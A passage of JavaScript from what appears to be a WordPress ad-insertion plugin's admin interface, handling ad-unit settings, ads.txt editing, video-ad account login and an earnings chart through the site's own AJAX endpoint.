	args['insert_ads_inthemeads_'+identifier+'_tertiary_ad_code'] = jQuery('#insert_ads_inthemeads_'+identifier+'_tertiary_ad_code').val();
	
	args['insert_ads_inthemeads_'+identifier+'_rules_exclude_loggedin'] = jQuery('#insert_ads_inthemeads_'+identifier+'_rules_exclude_loggedin').prop('checked');
	args['insert_ads_inthemeads_'+identifier+'_rules_exclude_mobile_devices'] = jQuery('#insert_ads_inthemeads_'+identifier+'_rules_exclude_mobile_devices').prop('checked');
	args['insert_ads_inthemeads_'+identifier+'_rules_exclude_404'] = jQuery('#insert_ads_inthemeads_'+identifier+'_rules_exclude_404').prop('checked');
	args['insert_ads_inthemeads_'+identifier+'_rules_exclude_home'] = jQuery('#insert_ads_inthemeads_'+identifier+'_rules_exclude_home').prop('checked');
	args['insert_ads_inthemeads_'+identifier+'_rules_exclude_archives'] = jQuery('#insert_ads_inthemeads_'+identifier+'_rules_exclude_archives').prop('checked');
	args['insert_ads_inthemeads_'+identifier+'_rules_exclude_search'] = jQuery('#insert_ads_inthemeads_'+identifier+'_rules_exclude_search').prop('checked');
	args['insert_ads_inthemeads_'+identifier+'_rules_exclude_page'] = jQuery('#insert_ads_inthemeads_'+identifier+'_rules_exclude_page').prop('checked');
	args['insert_ads_inthemeads_'+identifier+'_rules_page_exceptions'] = jQuery.map(jQuery('#insert_ads_inthemeads_'+identifier+'_rules_page_exceptions :selected'), function(e) { return jQuery(e).val(); });
	args['insert_ads_inthemeads_'+identifier+'_rules_exclude_post'] = jQuery('#insert_ads_inthemeads_'+identifier+'_rules_exclude_post').prop('checked');
	args['insert_ads_inthemeads_'+identifier+'_rules_post_exceptions'] = jQuery.map(jQuery('#insert_ads_inthemeads_'+identifier+'_rules_post_exceptions :selected'), function(e) { return jQuery(e).val(); });
	args['insert_ads_inthemeads_'+identifier+'_rules_post_categories_exceptions'] = jQuery.map(jQuery('#insert_ads_inthemeads_'+identifier+'_rules_post_categories_exceptions :selected'), function(e) { return jQuery(e).val(); });
	args['insert_ads_inthemeads_'+identifier+'_rules_exclude_categories'] = jQuery('#insert_ads_inthemeads_'+identifier+'_rules_exclude_categories').prop('checked');
	args['insert_ads_inthemeads_'+identifier+'_rules_categories_exceptions'] = jQuery.map(jQuery('#insert_ads_inthemeads_'+identifier+'_rules_categories_exceptions :selected'), function(e) { return jQuery(e).val(); });
	
	args['insert_ads_inthemeads_'+identifier+'_geo_group1_countries'] = jQuery.map(jQuery('#insert_ads_inthemeads_'+identifier+'_geo_group1_countries :selected'), function(e) { return jQuery(e).val(); });
	args['insert_ads_inthemeads_'+identifier+'_geo_group1_adcode'] = jQuery('#insert_ads_inthemeads_'+identifier+'_geo_group1_adcode').val();
	args['insert_ads_inthemeads_'+identifier+'_geo_group2_countries'] = jQuery.map(jQuery('#insert_ads_inthemeads_'+identifier+'_geo_group2_countries :selected'), function(e) { return jQuery(e).val(); });
	args['insert_ads_inthemeads_'+identifier+'_geo_group2_adcode'] = jQuery('#insert_ads_inthemeads_'+identifier+'_geo_group2_adcode').val();
	
	args['insert_ads_inthemeads_'+identifier+'_styles'] = jQuery('#insert_ads_inthemeads_'+identifier+'_styles').val();
	
	args['insert_ads_inthemeads_'+identifier+'_notes'] = jQuery('#insert_ads_inthemeads_'+identifier+'_notes').val();
	
	jQuery.post(
		jQuery('#insert_ads_admin_ajax').val(), args, function(response) { }
	);
}

function insert_ads_inthemeads_remove(identifier) {
	jQuery("<p>Are you Sure you want to remove this Ad Unit?</p>").dialog({
		'modal': true,
		'resizable': false,
		'title': 'Deletion Confirmation',
		position: { my: 'center', at: 'center', of: window },
		open: function (event, ui) {
			jQuery('.ui-dialog').css({'z-index': 999999, 'max-width': '90%'});
			jQuery('.ui-widget-overlay').css({'z-index': 999998, 'opacity': 0.8, 'background': '#000000'});
		},
		buttons : {
			'Confirm': function() {
				jQuery("#insert_ads_inthemeads_"+identifier).parent().remove();
				jQuery.post(
					jQuery('#insert_ads_admin_ajax').val(), {
						'action': 'insert_ads_inthemeads_remove',
						'insert_ads_inthemeads_identifier': identifier,
						'insert_ads_nonce': jQuery('#insert_ads_nonce').val()
					}, function(response) {
					}			
				);
				jQuery(this).dialog("close");
			},
			'Cancel': function() {
				jQuery(this).dialog("close");
			}
		},
		close: function() {
			jQuery(this).dialog('destroy');
		}
	});
}

function insert_ads_legalpages_generate_page(target, title) {
	jQuery('.ui-dialog-buttonpane button:contains("Update")').button('disable');
	jQuery('#'+target+'_generate_page').hide();
	jQuery('#'+target+'_accordion .insert_ads_ajaxloader_flat').show();
	jQuery.post(
		jQuery('#insert_ads_admin_ajax').val(), {
			'action': target+'_form_generate_page_action',
			'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
		}, function(response) {
			if(response != '0') {
				jQuery('#'+target+'_assigned_page').append(jQuery('<option>', {value: response, text: title})).val(response);
			}
			jQuery('#'+target+'_generate_page').show();
			jQuery('#'+target+'_accordion .insert_ads_ajaxloader_flat').hide();
			jQuery('.ui-dialog-buttonpane button:contains("Update")').button('enable');
		}
	);	
}
jQuery(document).on('click', '#insert_ads_vi_signup2', function(){
	//console.log(location.search);
	if(location.search == '?post_type=insertpostads&page=insert-post-ads'){
		jQuery('#insert_ads_vi_signup').trigger('click');
	} else {
		location.href = '/wp-admin/edit.php?post_type=insertpostads&page=insert-post-ads';
	}
})
function insert_ads_click_handler(target, title, width, height, openAction, UpdateAction, closeAction) {
	jQuery('#'+target).click(function() {
		//console.log(jQuery('#insert_ads_nonce').val(), jQuery('#insert_ads_admin_ajax').val());
		//console.log(target);
		jQuery('<div id="'+target+'_dialog"></div>').html('<div class="insert_ads_ajaxloader"></div>').dialog({
			'modal': true,
			'resizable': false,
			'width': width,
			'maxWidth': width,
			'maxHeight': height,
			'title': title,
			position: { my: 'center', at: 'center', of: window },
			open: function (event, ui) {
				jQuery('.ui-dialog').css({'z-index': 999999, 'max-width': '90%'});
				jQuery('.ui-widget-overlay').css({'z-index': 999998, 'opacity': 0.8, 'background': '#000000'});
				jQuery('.ui-dialog-buttonpane button:contains("Update")').button('disable');
			
				jQuery.post(
					jQuery('#insert_ads_admin_ajax').val(), {
						'action': target+'_form_get_content',
						'insert_ads_nonce': jQuery('#insert_ads_nonce').val()
					}, function(response) {
						jQuery('.insert_ads_ajaxloader').hide();
						jQuery('.ui-dialog-content').html(response);
						jQuery('.ui-accordion .ui-accordion-content').css('max-height', (jQuery("body").height() * 0.45));
						jQuery('.ui-dialog-buttonpane button:contains("Update")').button('enable');
						openAction();
						jQuery('.ui-dialog').css({'position': 'fixed'});
						jQuery('#'+target+'_dialog').delay(500).dialog({position: { my: 'center', at: 'center', of: window }});
						
					}			
				);
			},
			buttons: {
				'Update': {
					text: 'Update',
					icons: { primary: "ui-icon-gear" },
					click: function() {
						if(UpdateAction() != 'false') {
							jQuery(this).dialog('close');
						}
					}
				},
				Cancel: {
					text: 'Cancel',
					icons: { primary: "ui-icon-cancel" },
					click: function() {
						if(closeAction() != 'false') {
							jQuery(this).dialog('close');
						}
					}
				}
			},
			close: function() {
				closeAction();
				jQuery(this).dialog('destroy');
			}
		})
	});
}
function insert_ads_adstxt_add_entry() {
	var insert_ads_adstxt_new_entry_domain = jQuery("#insert_ads_adstxt_new_entry_domain").val();
	var insert_ads_adstxt_new_entry_pid = jQuery("#insert_ads_adstxt_new_entry_pid").val();
	var insert_ads_adstxt_new_entry_type = jQuery("#insert_ads_adstxt_new_entry_type").val();
	var insert_ads_adstxt_new_entry_certauthority = jQuery("#insert_ads_adstxt_new_entry_certauthority").val();
	var insert_ads_adstxt_content = jQuery("#insert_ads_adstxt_content").val();
	var defaultBorderColor = jQuery("#insert_ads_adstxt_new_entry_domain").css("border-color");
	var defaultLabelColor = jQuery("#insert_ads_adstxt_new_entry_domain").parent().find("small").css("color");
	
	var isValidated = true;
	jQuery("#insert_ads_adstxt_new_entry_domain").css({"border-color": defaultBorderColor}).parent().find("small").css({"color": defaultLabelColor});
	jQuery("#insert_ads_adstxt_new_entry_pid").css({"border-color": defaultBorderColor}).parent().find("small").css({"color": defaultLabelColor});
	
	
	if(insert_ads_adstxt_new_entry_domain == '') {
		jQuery("#insert_ads_adstxt_new_entry_domain").css({"border-color": "#B20303"}).parent().find("small").css({"color": "#B20303"});
		isValidated = false;
	}
	if(insert_ads_adstxt_new_entry_pid == '') {
		jQuery("#insert_ads_adstxt_new_entry_pid").css({"border-color": "#B20303"}).parent().find("small").css({"color": "#B20303"});
		isValidated = false;
	}
	
	if(isValidated) {
		if((insert_ads_adstxt_content != '') && (jQuery.inArray((insert_ads_adstxt_content[insert_ads_adstxt_content.length -1]), ["\r", "\n"]) == -1)) {
			insert_ads_adstxt_content += '\r\n';
		}
		insert_ads_adstxt_content += insert_ads_adstxt_new_entry_domain + ', ' + insert_ads_adstxt_new_entry_pid + ', ' + insert_ads_adstxt_new_entry_type;
		if(insert_ads_adstxt_new_entry_certauthority != '') {
			insert_ads_adstxt_content += ', ' + insert_ads_adstxt_new_entry_certauthority;
		}
		jQuery("#insert_ads_adstxt_content").val(insert_ads_adstxt_content);
		
		jQuery("#insert_ads_adstxt_new_entry_domain").val('');
		jQuery("#insert_ads_adstxt_new_entry_pid").val('');
		jQuery("#insert_ads_adstxt_new_entry_type").val('DIRECT');
		jQuery("#insert_ads_adstxt_new_entry_certauthority").val('');
		
		jQuery("#insert_ads_adstxt_accordion").accordion({active: 0});
		jQuery("#insert_ads_adstxt_content").focus();
	}
}

function insert_ads_adstxt_content_download() {
	var blob = new Blob([jQuery("#insert_ads_adstxt_content").val()], {type: 'text/csv'});
	if(window.navigator.msSaveOrOpenBlob) {
		window.navigator.msSaveBlob(blob, 'ads.txt');
	}
	else{
		var elem = window.document.createElement('a');
		elem.href = window.URL.createObjectURL(blob);
		elem.download = 'ads.txt';        
		document.body.appendChild(elem);
		elem.click();        
		document.body.removeChild(elem);
	}
}

function insert_ads_vi_signup_handler() {
	insert_ads_click_handler(
		'insert_ads_vi_signup',
		'video intelligence: Signup',
		'870',
		'554',
		function() { },
		function() { },
		function() { }
	);
}

function insert_ads_vi_login_handler() {
	insert_ads_click_handler(
		'insert_ads_vi_login',
		'video intelligence: Login',
		'540',
		'540',
		function() {
			jQuery('.ui-dialog-buttonset').find('button').first().unbind('click').click(function() {
				if((jQuery('#insert_ads_vi_login_username').val() != '') && (jQuery('#insert_ads_vi_login_password').val() != '')) {
					jQuery('.ui-dialog-buttonset').find('button').first().button('disable');
					jQuery('.ui-dialog-buttonset').find('button').last().button('disable');
					jQuery('.ui-dialog-titlebar').find('button').last().button('disable');
					var insert_ads_vi_login_username = jQuery('#insert_ads_vi_login_username').val();
					var insert_ads_vi_login_password = jQuery('#insert_ads_vi_login_password').val();
					jQuery('.ui-dialog-content').html('<div class="insert_ads_ajaxloader"></div>');
					jQuery('.insert_ads_ajaxloader').show();
					jQuery.post(
						jQuery('#insert_ads_admin_ajax').val(), {
							'action': 'insert_ads_vi_login_form_save_action',
							'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
							'insert_ads_vi_login_username': insert_ads_vi_login_username,
							'insert_ads_vi_login_password': insert_ads_vi_login_password,
						}, function(response) {
							
							if(response.indexOf('###SUCCESS###') !== -1) {

								jQuery.post(
									jQuery('#insert_ads_admin_ajax').val(), {
										'action': 'insert_ads_vi_update_adstxt',
										'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
									}, function(response) {
										if(response.indexOf('###SUCCESS###') !== -1) {
											//jQuery('.wrap #poststuff').before(response.replace('###SUCCESS###', ''));
											//console.log('succ');
											location.reload();
										} else if(response.indexOf('###FAIL###') !== -1) {
											jQuery('.wrap #poststuff').before(response.replace('###FAIL###', ''));
											//console.log('fail')
											//setTimeout(function(){location.reload()}, 2000);
										} else {
										}
										
									}
								);
								jQuery('.vi-card .plugin-card-bottom, .vi-card .plugin-card-top-content').animate({'opacity': 0}, 1000);
								jQuery('.vi-card').html(response.replace('###SUCCESS###', ''));
								insert_ads_vi_logout_handler();
								insert_ads_vi_customize_adcode();
								insert_ads_vi_chart_draw();
								jQuery(window).resize();
								jQuery('.vi-card .plugin-card-bottom, .vi-card .plugin-card-top-content').animate({'opacity': 1}, 1000);
								jQuery('.ui-dialog-titlebar').find('button').last().button('enable').click();								
							} else {
								jQuery('.ui-dialog-buttonset').find('button').first().button('enable');
								jQuery('.ui-dialog-buttonset').find('button').last().button('enable');
								jQuery('.ui-dialog-titlebar').find('button').last().button('enable');
								jQuery('.ui-dialog-content').html(response);
							}
						}
					);
				} else {
					jQuery('#insert_ads_vi_login_username').css('border-color', '#dddddd');
					jQuery('#insert_ads_vi_login_password').css('border-color', '#dddddd');
					if(jQuery('#insert_ads_vi_login_username').val() == '') {
						jQuery('#insert_ads_vi_login_username').css('border-color', '#ff0000');
					}
					if(jQuery('#insert_ads_vi_login_password').val() == '') {
						jQuery('#insert_ads_vi_login_password').css('border-color', '#ff0000');
					}
				}
			});
		},
		function() { },
		function() { }
	);
}

function insert_ads_vi_customize_adcode() {
	insert_ads_click_handler(
		'insert_ads_vi_customize_adcode',
		'video intelligence: Customize vi Code',
		jQuery("body").width() * 0.8,
		jQuery("body").height() * 0.8,
		function() {
			jQuery('#insert_ads_vi_code_settings_keywords').attr('maxlength', '200');
			jQuery('#insert_ads_vi_code_settings_optional_1').attr('maxlength', '200');
			jQuery('#insert_ads_vi_code_settings_optional_2').attr('maxlength', '200');
			jQuery('#insert_ads_vi_code_settings_optional_3').attr('maxlength', '200');
			jQuery('.ui-dialog-buttonset').find('button').first().unbind('click').click(function() {
				var keywordsRegex = /[ ,a-zA-Z0-9-’'‘\u00C6\u00D0\u018E\u018F\u0190\u0194\u0132\u014A\u0152\u1E9E\u00DE\u01F7\u021C\u00E6\u00F0\u01DD\u0259\u025B\u0263\u0133\u014B\u0153\u0138\u017F\u00DF\u00FE\u01BF\u021D\u0104\u0181\u00C7\u0110\u018A\u0118\u0126\u012E\u0198\u0141\u00D8\u01A0\u015E\u0218\u0162\u021A\u0166\u0172\u01AFY\u0328\u01B3\u0105\u0253\u00E7\u0111\u0257\u0119\u0127\u012F\u0199\u0142\u00F8\u01A1\u015F\u0219\u0163\u021B\u0167\u0173\u01B0y\u0328\u01B4\u00C1\u00C0\u00C2\u00C4\u01CD\u0102\u0100\u00C3\u00C5\u01FA\u0104\u00C6\u01FC\u01E2\u0181\u0106\u010A\u0108\u010C\u00C7\u010E\u1E0C\u0110\u018A\u00D0\u00C9\u00C8\u0116\u00CA\u00CB\u011A\u0114\u0112\u0118\u1EB8\u018E\u018F\u0190\u0120\u011C\u01E6\u011E\u0122\u0194\u00E1\u00E0\u00E2\u00E4\u01CE\u0103\u0101\u00E3\u00E5\u01FB\u0105\u00E6\u01FD\u01E3\u0253\u0107\u010B\u0109\u010D\u00E7\u010F\u1E0D\u0111\u0257\u00F0\u00E9\u00E8\u0117\u00EA\u00EB\u011B\u0115\u0113\u0119\u1EB9\u01DD\u0259\u025B\u0121\u011D\u01E7\u011F\u0123\u0263\u0124\u1E24\u0126I\u00CD\u00CC\u0130\u00CE\u00CF\u01CF\u012C\u012A\u0128\u012E\u1ECA\u0132\u0134\u0136\u0198\u0139\u013B\u0141\u013D\u013F\u02BCN\u0143N\u0308\u0147\u00D1\u0145\u014A\u00D3\u00D2\u00D4\u00D6\u01D1\u014E\u014C\u00D5\u0150\u1ECC\u00D8\u01FE\u01A0\u0152\u0125\u1E25\u0127\u0131\u00ED\u00ECi\u00EE\u00EF\u01D0\u012D\u012B\u0129\u012F\u1ECB\u0133\u0135\u0137\u0199\u0138\u013A\u013C\u0142\u013E\u0140\u0149\u0144n\u0308\u0148\u00F1\u0146\u014B\u00F3\u00F2\u00F4\u00F6\u01D2\u014F\u014D\u00F5\u0151\u1ECD\u00F8\u01FF\u01A1\u0153\u0154\u0158\u0156\u015A\u015C\u0160\u015E\u0218\u1E62\u1E9E\u0164\u0162\u1E6C\u0166\u00DE\u00DA\u00D9\u00DB\u00DC\u01D3\u016C\u016A\u0168\u0170\u016E\u0172\u1EE4\u01AF\u1E82\u1E80\u0174\u1E84\u01F7\u00DD\u1EF2\u0176\u0178\u0232\u1EF8\u01B3\u0179\u017B\u017D\u1E92\u0155\u0159\u0157\u017F\u015B\u015D\u0161\u015F\u0219\u1E63\u00DF\u0165\u0163\u1E6D\u0167\u00FE\u00FA\u00F9\u00FB\u00FC\u01D4\u016D\u016B\u0169\u0171\u016F\u0173\u1EE5\u01B0\u1E83\u1E81\u0175\u1E85\u01BF\u00FD\u1EF3\u0177\u00FF\u0233\u1EF9\u01B4\u017A\u017C\u017E\u1E93]/g;
				if(
				(jQuery('#insert_ads_vi_code_settings_ad_unit_type').val() != 'select') && 
				(jQuery('#insert_ads_vi_code_settings_iab_category_child').val() != 'select') && 
				(jQuery('#insert_ads_vi_code_settings_language').val() != 'select') && 
				((jQuery('#insert_ads_vi_code_settings_keywords').val() == '') || ((jQuery(jQuery('#insert_ads_vi_code_settings_keywords').val().match(/./g)).not(jQuery('#insert_ads_vi_code_settings_keywords').val().match(keywordsRegex)).get().length == 0) && (jQuery('#insert_ads_vi_code_settings_keywords').val().length < 200)))
				) {
					jQuery('.ui-dialog-buttonset').find('button').first().button('disable');
					jQuery('.ui-dialog-buttonset').find('button').last().button('disable');
					jQuery('.ui-dialog-titlebar').find('button').last().button('disable');
					var insert_ads_vi_code_settings_ad_unit_type = jQuery('#insert_ads_vi_code_settings_ad_unit_type').val();
					var insert_ads_vi_code_settings_keywords = jQuery('#insert_ads_vi_code_settings_keywords').val();
					var insert_ads_vi_code_settings_iab_category_parent = jQuery('#insert_ads_vi_code_settings_iab_category_parent').val();
					var insert_ads_vi_code_settings_iab_category_child = jQuery('#insert_ads_vi_code_settings_iab_category_child').val();
					var insert_ads_vi_code_settings_language = jQuery('#insert_ads_vi_code_settings_language').val();
					var insert_ads_vi_code_settings_native_bg_color = jQuery('#insert_ads_vi_code_settings_native_bg_color').val();
					var insert_ads_vi_code_settings_native_text_color = jQuery('#insert_ads_vi_code_settings_native_text_color').val();
					var insert_ads_vi_code_settings_font_family = jQuery('#insert_ads_vi_code_settings_font_family').val();
					var insert_ads_vi_code_settings_font_size = jQuery('#insert_ads_vi_code_settings_font_size').val();
					var insert_ads_vi_code_settings_optional_1 = jQuery('#insert_ads_vi_code_settings_optional_1').val();
					var insert_ads_vi_code_settings_optional_2 = jQuery('#insert_ads_vi_code_settings_optional_2').val();
					var insert_ads_vi_code_settings_optional_3 = jQuery('#insert_ads_vi_code_settings_optional_3').val();
					var insert_ads_vi_code_settings_show_gdpr_authorization = jQuery('#insert_ads_vi_code_settings_show_gdpr_authorization').prop('checked');
					jQuery('.ui-dialog-content').html('<div class="insert_ads_ajaxloader"></div>');
					jQuery('.insert_ads_ajaxloader').show();
					jQuery.post(
						jQuery('#insert_ads_admin_ajax').val(), {
							'action': 'insert_ads_vi_customize_adcode_form_save_action',
							'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
							'insert_ads_vi_code_settings_ad_unit_type': insert_ads_vi_code_settings_ad_unit_type,
							'insert_ads_vi_code_settings_keywords': insert_ads_vi_code_settings_keywords,
							'insert_ads_vi_code_settings_iab_category_parent': insert_ads_vi_code_settings_iab_category_parent,
							'insert_ads_vi_code_settings_iab_category_child': insert_ads_vi_code_settings_iab_category_child,
							'insert_ads_vi_code_settings_language': insert_ads_vi_code_settings_language,
							'insert_ads_vi_code_settings_native_bg_color': insert_ads_vi_code_settings_native_bg_color,
							'insert_ads_vi_code_settings_native_text_color': insert_ads_vi_code_settings_native_text_color,
							'insert_ads_vi_code_settings_font_family': insert_ads_vi_code_settings_font_family,
							'insert_ads_vi_code_settings_font_size': insert_ads_vi_code_settings_font_size,
							'insert_ads_vi_code_settings_optional_1': insert_ads_vi_code_settings_optional_1,
							'insert_ads_vi_code_settings_optional_2': insert_ads_vi_code_settings_optional_2,
							'insert_ads_vi_code_settings_optional_3': insert_ads_vi_code_settings_optional_3,
                            'insert_ads_vi_code_settings_show_gdpr_authorization': insert_ads_vi_code_settings_show_gdpr_authorization,
						}, function(response) {
							if(response.indexOf('###SUCCESS###') !== -1) {
								jQuery('.ui-dialog-titlebar').find('button').last().button('enable').click();
								var successText = '<div id="sucessText" class="notice notice-success is-dismissible insert-post-ads-notice-welcome"><p>Settings saved!</p></div>';
								jQuery('#poststuff').before(successText);
								jQuery(document).find('#sucessText').delay('2000').fadeOut('1000');
							} else {
								jQuery('.ui-dialog-buttonset').find('button').first().button('disable');
								jQuery('.ui-dialog-buttonset').find('button').last().button('enable');
								jQuery('.ui-dialog-titlebar').find('button').last().button('enable');
								jQuery('.ui-dialog-content').html(response.replace('###FAIL###', ''));								
							}
						}						
					);					
				} else {
					jQuery('#insert_ads_vi_customize_adcode_keywords_required_error').hide();
					jQuery('#insert_ads_vi_customize_adcode_keywords_error').hide();
					jQuery('#insert_ads_vi_customize_adcode_required_error').hide();
					jQuery('#insert_ads_vi_code_settings_ad_unit_type').css('border-color', '#dddddd');
					jQuery('#insert_ads_vi_code_settings_iab_category_parent').css('border-color', '#dddddd');
					jQuery('#insert_ads_vi_code_settings_iab_category_child').css('border-color', '#dddddd');
					jQuery('#insert_ads_vi_code_settings_language').css('border-color', '#dddddd');
					jQuery('#insert_ads_vi_code_settings_keywords').css('border-color', '#dddddd');
					var insert_ads_vi_customize_adcode_keywords_error = false;
					var insert_ads_vi_customize_adcode_required_error = false;
					if(jQuery('#insert_ads_vi_code_settings_ad_unit_type').val() == 'select') {						
						jQuery('#insert_ads_vi_code_settings_ad_unit_type').css('border-color', '#ff0000');
						insert_ads_vi_customize_adcode_required_error = true;
					}
					if(jQuery('#insert_ads_vi_code_settings_iab_category_parent').val() == 'select') {
						jQuery('#insert_ads_vi_code_settings_iab_category_parent').css('border-color', '#ff0000');
						insert_ads_vi_customize_adcode_required_error = true;
					}
					if(jQuery('#insert_ads_vi_code_settings_iab_category_child').val() == 'select') {
						jQuery('#insert_ads_vi_code_settings_iab_category_child').css('border-color', '#ff0000');
						insert_ads_vi_customize_adcode_required_error = true;
					}
					if(jQuery('#insert_ads_vi_code_settings_language').val() == 'select') {
						jQuery('#insert_ads_vi_code_settings_language').css('border-color', '#ff0000');
						insert_ads_vi_customize_adcode_required_error = true;
					}
					if(jQuery('#insert_ads_vi_code_settings_keywords').val() != '') {
						if(jQuery('#insert_ads_vi_code_settings_keywords').val().length > 200) {
							jQuery('#insert_ads_vi_code_settings_keywords').css('border-color', '#ff0000');
							insert_ads_vi_customize_adcode_keywords_error = true;
						}
						if(jQuery(jQuery('#insert_ads_vi_code_settings_keywords').val().match(/./g)).not(jQuery('#insert_ads_vi_code_settings_keywords').val().match(keywordsRegex)).get().length != 0) {
							jQuery('#insert_ads_vi_code_settings_keywords').css('border-color', '#ff0000');
							insert_ads_vi_customize_adcode_keywords_error = true;
						}
					}
					if(insert_ads_vi_customize_adcode_keywords_error && insert_ads_vi_customize_adcode_required_error) {
						jQuery('#insert_ads_vi_customize_adcode_keywords_required_error').show();
					} else if(insert_ads_vi_customize_adcode_keywords_error) {
						jQuery('#insert_ads_vi_customize_adcode_keywords_error').show();
					} else if(insert_ads_vi_customize_adcode_required_error) {
						jQuery('#insert_ads_vi_customize_adcode_required_error').show();
					} else {}
				}
			});
		},
		function() { },
		function() { }
	);
}

function insert_ads_vi_code_iab_category_parent_change() {
	jQuery('#insert_ads_vi_code_settings_iab_category_parent').change(function() {
		var insert_ads_vi_code_iab_category = jQuery(this).val();
		jQuery('#insert_ads_vi_code_settings_iab_category_child option').prop('disabled', true).hide();
		jQuery('#insert_ads_vi_code_settings_iab_category_child option').each(function() {
			if((jQuery(this).attr('data-parent') == insert_ads_vi_code_iab_category) || (jQuery(this).val() == 'select')) {
				jQuery(this).prop('disabled', false).show();
			}
		});
		if(jQuery('#insert_ads_vi_code_settings_iab_category_child option:selected').prop('disabled') != false) {
			jQuery('#insert_ads_vi_code_settings_iab_category_child').val('select');
		}
	});
	jQuery('#insert_ads_vi_code_settings_iab_category_parent').change();
}

function insert_ads_vi_logout_handler() {
	jQuery('#insert_ads_vi_logout').click(function() {
		jQuery.post(
			jQuery('#insert_ads_admin_ajax').val(), {
				'action': 'insert_ads_vi_logout_action',
				'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
			}, function(response) {
				if(response.indexOf('###SUCCESS###') !== -1) {
					location.reload();
					jQuery('.vi-card').html(response.replace('###SUCCESS###', ''));
					insert_ads_vi_signup_handler();	
					insert_ads_vi_login_handler();
					jQuery(window).resize();
				}
				jQuery('.vi-card .plugin-card-bottom, .vi-card .plugin-card-top-content').animate({'opacity': 1}, 1000);
			}
		);
		jQuery('.vi-card .plugin-card-bottom, .vi-card .plugin-card-top-content').animate({'opacity': 0}, 1000);
		
	});
}

function insert_ads_vi_chart_draw() {
	if(jQuery('#insert_ads_vi_earnings_wrapper').length) {
		jQuery.post(
			jQuery('#insert_ads_admin_ajax').val(), {
				'action': 'insert_ads_vi_get_chart',
				'insert_ads_nonce': jQuery('#insert_ads_nonce').val(),
			}, function(response) {
				if(response.indexOf('###SUCCESS###') !== -1) {
					jQuery('#insert_ads_vi_earnings_wrapper').html(response.replace('###SUCCESS###', ''));
					if(jQuery('#insert_ads_vi_chart_data').length) {
						var ctx = document.getElementById("myChart");
						var insert_ads_vi_chart = new Chart(jQuery('#insert_ads_vi_chart'), {
							type: 'line',
							data: {
								datasets: [{
									data: JSON.parse(jQuery('#insert_ads_vi_chart_data').val()),
									backgroundColor: '#EDF5FB',
									borderColor: '#186EAE',/*E8EBEF*/
									borderWidth: 1
								}]
							},
							options: {
								title: {
									display: false,
									backgroundColor: '#EDF5FB'
								},
								legend: {
									display: false,
								},
								scales: {
									xAxes: [{
										type: "time",
										display: true,
										scaleLabel: {
											display: false
										},
										gridLines: {
											display: false,
											drawTicks: false
										},
										ticks: {
											display: false
										}
									}],
									yAxes: [{
										display: true,
										scaleLabel: {
											display: false
										},
										gridLines: {
											display: true,
											drawTicks: false
										},
										ticks: {
											display: false
										}
									}]
								},
								tooltips: {
									displayColors: false,
									callbacks: {
										label: function(tooltipItem, data) {
											return '$ '+parseFloat(tooltipItem.yLabel).toFixed(2);
										},
										title: function(tooltipItem, data) {
											var monthNames = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
											var dateParts = tooltipItem[0].xLabel.split('/');
											var date = new Date(dateParts[2], dateParts[0]-1, dateParts[1]);
											return monthNames[date.getMonth()]+' '+date.getDate();
										}
									}
								}
							}
						});
					}
				} else {
					jQuery('#insert_ads_vi_earnings_wrapper').parent().html(response);
				}
				jQuery(window).resize();
			}
		);
	}
}
jQuery(document).ready(function() {
	jQuery('.post-new-php.post-type-insertpostads select[name="ad_position"] option[value="top"]').attr('selected', true);
	jQuery('.post-new-php.post-type-insertpostads select[name="ad_position"] option[value=""]').attr('selected', false);
	jQuery('.post-new-php.post-type-insertpostads #paragraph_number').hide();
	
	jQuery('.post-type-insertpostads #search-submit').val('Search').addClass('button-primary');
	jQuery('.post-type-insertpostads #post-search-input').attr('placeholder', 'Enter advert title');
	
	jQuery('.post-type-insertpostads #bulk-action-selector-top').before('<p class="bulk">Bulk actions:</p>');
	jQuery('.post-type-insertpostads #bulk-action-selector-top option[value="-1"]').text('Select action');
	
	var getTitle = jQuery('.post-new-php.post-type-insertpostads #title').remove();
	jQuery('#ipa_meta .inside').prepend('<p id="place-title"><label>Advert Title:</label></p>');
	jQuery(getTitle).appendTo('#place-title');
	
    var publishBtn = jQuery('body.post-new-php.post-type-insertpostads #publish').remove();
    jQuery('#ipa_meta').after(publishBtn);
	
	var viBlock = jQuery('.postbox.vi-choose').remove();
	jQuery('.insert_ads_vi_popup_left_column p:last').prev().before(viBlock).before('<div style="clear:both"></div>');
	
	var btnMore = jQuery('<a href="#" id="field-more"><i class="fa fa-plus-circle" aria-hidden="true"></i><text>Add field</text></a>');
	jQuery('textarea[id*=insert_ads_vi_code_settings_optional]:not(#insert_ads_vi_code_settings_optional_1)').parent().hide();
	jQuery('#insert_ads_vi_code_settings_optional_1').parent().append(btnMore);
	jQuery(document).on('click', '#field-more', function(e){
		if(jQuery('#insert_ads_vi_code_settings_optional_2').parent().is(':hidden')){
			e.preventDefault();
			jQuery(this).parent().next().show();
			jQuery(this).parent().next().append(btnMore);
			//jQuery(this).detach();	
		} else if (jQuery('#insert_ads_vi_code_settings_optional_2').is(':visible')) {
			jQuery(this).parent().next().show();
			jQuery(this).detach();
			return false
		} else {
			jQuery(this).detach();
			return false
		}
	}) 
	
	/*function showInp(){
		var loadSel = jQuery('input[name="cur-pos-rad"]:checked').val();
		if(loadSel == 'above'){
			jQuery('.vi-choose .insert_ads_popup_content_wrapper:first').show();
			jQuery('.vi-choose .insert_ads_popup_content_wrapper:last').hide();
		} else if(loadSel == 'middle') {
			jQuery('.vi-choose .insert_ads_popup_content_wrapper:first').hide();
			jQuery('.vi-choose .insert_ads_popup_content_wrapper:last').show();
		} else {
			jQuery('.vi-choose .insert_ads_popup_content_wrapper').hide();
		}
	}*/
	function notifyInp(){
		jQuery('.funcnot').each(function(){
			var getCheck = jQuery(this).parent('div').find('input:checkbox').is(':checked'),
				thisPos = jQuery(this).attr('data-pos');
			if(getCheck === true){
				jQuery(this).text('Press to switch off vi stories on ' + thisPos + ' of post content.');
			} else {
				jQuery(this).text('Press to activate vi stories on ' + thisPos + ' of post content.');
			}
		})
	}
	notifyInp();
	//showInp();
	jQuery('#cur-pos-sel input').on('click', function(){
		//showInp();
		//console.log(jQuery('input[name="cur-pos-rad"]:checked').val());
	})
